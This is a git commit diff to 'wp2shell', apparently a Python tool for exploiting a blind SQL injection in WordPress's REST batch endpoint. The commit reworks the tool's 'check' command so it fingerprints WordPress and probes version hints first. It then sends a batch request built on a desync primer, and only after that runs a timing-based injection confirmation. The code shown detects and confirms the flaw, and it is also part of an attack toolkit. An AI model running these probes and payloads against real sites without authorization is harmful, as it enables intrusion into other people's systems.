Check version first before sleep check

This commit is contained in:
Icex0
2026-07-18 02:37:56 +02:00
parent caab2a98d1
commit acce9498d2
4 changed files with 97 additions and 33 deletions
+11 -5
View File
@@ -68,11 +68,17 @@ Or `pip install .` to get a `wp2shell` command on your `PATH`.
### check — confirm the vulnerability (safe)
Confirms exploitability with paired differential time delays. It reads no data and changes
nothing. By default it sends three baseline/delayed pairs and decides on the median delta, which
is more reliable on noisy or rate-limited targets than a single timing comparison. If timing
confirmation fails, `check` also looks for passive public WordPress version hints from the REST API
generator, the homepage generator meta tag, and core asset `?ver=` query strings.
Prints passive WordPress markers and public version hints first, then sends a benign batch marker
probe. If the batch route behaves like WordPress, the probe should return HTTP 207 with markers
such as `parse_path_failed`, `block_cannot_read`, or `rest_batch_not_allowed`. After that, `check`
tries a paired timing confirmation. The timing step reads no data and changes nothing. By default
it sends three baseline/delayed pairs and decides on the median delta, which is more reliable on
noisy or rate-limited targets than a single timing comparison.
Treat the signals separately: an affected public version is strong triage evidence, while timing
confirmation proves the SQLi path reached the database. A WAF or edge rule can block the timing
payload, so a failed timing check is reported as "not timing-confirmed" rather than a clean bill of
health.
```
./wp2shell.py check http://target
+24 -8
View File
@@ -11,7 +11,7 @@ from . import __version__
from .client import BatchClient
from .shell import AdminSession
from .sqli import BlindSQLi
from .version import public_version_hints, version_status
from .version import public_version_hints, version_status, wordpress_markers
try:
import readline # noqa: F401 - enables line editing/history for the interactive prompt
@@ -69,11 +69,20 @@ def _short(text: str, *, limit: int = 96) -> str:
return text[: limit - 3] + "..."
def _print_version_hints(client: BatchClient) -> None:
def _print_wordpress_markers(client: BatchClient) -> tuple:
markers = wordpress_markers(client)
if markers:
info(f"WordPress markers found ({' / '.join(markers)})")
else:
warn("No public WordPress markers found.")
return markers
def _print_version_hints(client: BatchClient) -> tuple:
hints = public_version_hints(client)
if not hints:
warn("No public WordPress version hints found.")
return
return hints
info("Public WordPress version hints:")
for hint in hints:
@@ -83,6 +92,7 @@ def _print_version_hints(client: BatchClient) -> None:
)
if any(hint.affected for hint in hints):
warn("A public version hint falls in the wp2shell affected range; verify internally or confirm with authorization.")
return hints
# -- commands ---------------------------------------------------------------
@@ -96,11 +106,17 @@ def cmd_check(args: argparse.Namespace) -> int:
rest_route=args.rest_route,
proxy=args.proxy,
)
probe = client.probe()
_print_wordpress_markers(client)
hints = _print_version_hints(client)
probe = client.marker_probe()
if probe.status != 207:
bad(f"Batch endpoint returned HTTP {probe.status} (not 207) — patched or REST API disabled.")
_print_version_hints(client)
return 1
markers = client.batch_marker_codes(probe)
if markers:
good(f"Batch probe -> HTTP 207; markers matched: {', '.join(markers)}")
else:
good("Batch endpoint reachable and unauthenticated (HTTP 207).")
result = BlindSQLi(client, sleep=args.sleep).confirm_timing(samples=args.samples)
@@ -112,10 +128,10 @@ def cmd_check(args: argparse.Namespace) -> int:
info(f"Median delta {result.delta:.2f}s; threshold {result.threshold:.2f}s.")
if result.confirmed:
good(f"VULNERABLE — baseline {result.baseline:.2f}s, injected {result.delayed:.2f}s.")
_print_version_hints(client)
return 0
bad(f"Not vulnerable — baseline {result.baseline:.2f}s, injected {result.delayed:.2f}s.")
_print_version_hints(client)
bad(f"Not timing-confirmed — baseline {result.baseline:.2f}s, injected {result.delayed:.2f}s.")
if any(hint.affected for hint in hints):
warn("Version suggests exposure, but the timing payload did not execute or was blocked.")
return 2
+36
View File
@@ -16,6 +16,7 @@ from typing import Any, Optional
# under the following sub-request's handler. Any parse_url()-rejecting string works; "///" is
# used so it cannot be mistaken for a network target.
_DESYNC_PRIMER = {"method": "POST", "path": "///"}
_BATCH_MARKER_CODES = ("parse_path_failed", "block_cannot_read", "rest_batch_not_allowed")
class TargetError(Exception):
@@ -97,6 +98,41 @@ class BatchClient:
"""A benign empty batch, used to test whether the endpoint is reachable and open."""
return self.post({"requests": []})
def marker_probe(self) -> Response:
"""A benign batch that should produce stable WordPress REST error markers."""
return self.post(
{
"requests": [
_DESYNC_PRIMER,
{"method": "POST", "path": "/wp/v2/block-renderer/core/archives"},
{"method": "POST", "path": "/batch/v1", "body": {"requests": []}},
]
}
)
@staticmethod
def batch_marker_codes(response: Response) -> tuple:
try:
body = response.json()
except ValueError:
return ()
found = []
def walk(value) -> None:
if isinstance(value, dict):
code = value.get("code")
if code in _BATCH_MARKER_CODES and code not in found:
found.append(code)
for child in value.values():
walk(child)
elif isinstance(value, list):
for child in value:
walk(child)
walk(body)
return tuple(found)
def inject(self, author_not_in: str) -> Response:
"""Send a payload placing `author_not_in` into the WP_Query author__not_in clause."""
return self.post(self._payload(author_not_in))
+25 -19
View File
@@ -27,7 +27,6 @@ class _HomepageParser(HTMLParser):
def __init__(self) -> None:
super().__init__()
self.meta_generators = []
self.assets = []
def handle_starttag(self, tag: str, attrs: Iterable[Tuple[str, Optional[str]]]) -> None:
values = {name.lower(): value for name, value in attrs if value is not None}
@@ -35,11 +34,6 @@ class _HomepageParser(HTMLParser):
content = values.get("content")
if content:
self.meta_generators.append(content)
return
if tag.lower() in ("link", "script"):
asset = values.get("href") or values.get("src")
if asset:
self.assets.append(asset)
def public_version_hints(client: BatchClient) -> Tuple[VersionHint, ...]:
@@ -84,12 +78,35 @@ def public_version_hints(client: BatchClient) -> Tuple[VersionHint, ...]:
parser.feed(response.body)
for generator in parser.meta_generators:
add(_version_from_wordpress_text(generator), "HTML generator meta", generator)
for asset in parser.assets:
add(_version_from_core_asset(asset), "core asset query string", asset)
return tuple(hints)
def wordpress_markers(client: BatchClient) -> Tuple[str, ...]:
markers = []
response = _get(client, "/")
if response is not None and response.status < 400:
if "wp-content/" in response.body and "wp-content" not in markers:
markers.append("wp-content")
if "wp-includes/" in response.body and "wp-includes" not in markers:
markers.append("wp-includes")
for path in ("/wp-json/", "/?rest_route=/"):
response = _get(client, path)
if response is None or response.status >= 400:
continue
try:
body = response.json()
except json.JSONDecodeError:
body = None
if isinstance(body, dict) and ("routes" in body or "wp/v2" in response.body):
if "wp-json" not in markers:
markers.append("wp-json")
return tuple(markers)
def is_affected_version(version: str) -> bool:
parsed = _parse_version(version)
if parsed is None:
@@ -124,17 +141,6 @@ def _version_from_wordpress_text(value: str) -> Optional[str]:
return _normalize_version(match.group(1)) if match else None
def _version_from_core_asset(value: str) -> Optional[str]:
parsed = urllib.parse.urlparse(value)
if "/wp-includes/" not in parsed.path and "/wp-admin/" not in parsed.path:
return None
for version in urllib.parse.parse_qs(parsed.query).get("ver", []):
normalized = _normalize_version(version)
if normalized:
return normalized
return None
def _normalize_version(value: str) -> Optional[str]:
match = _VERSION_RE.search(value)
return match.group(1) if match else None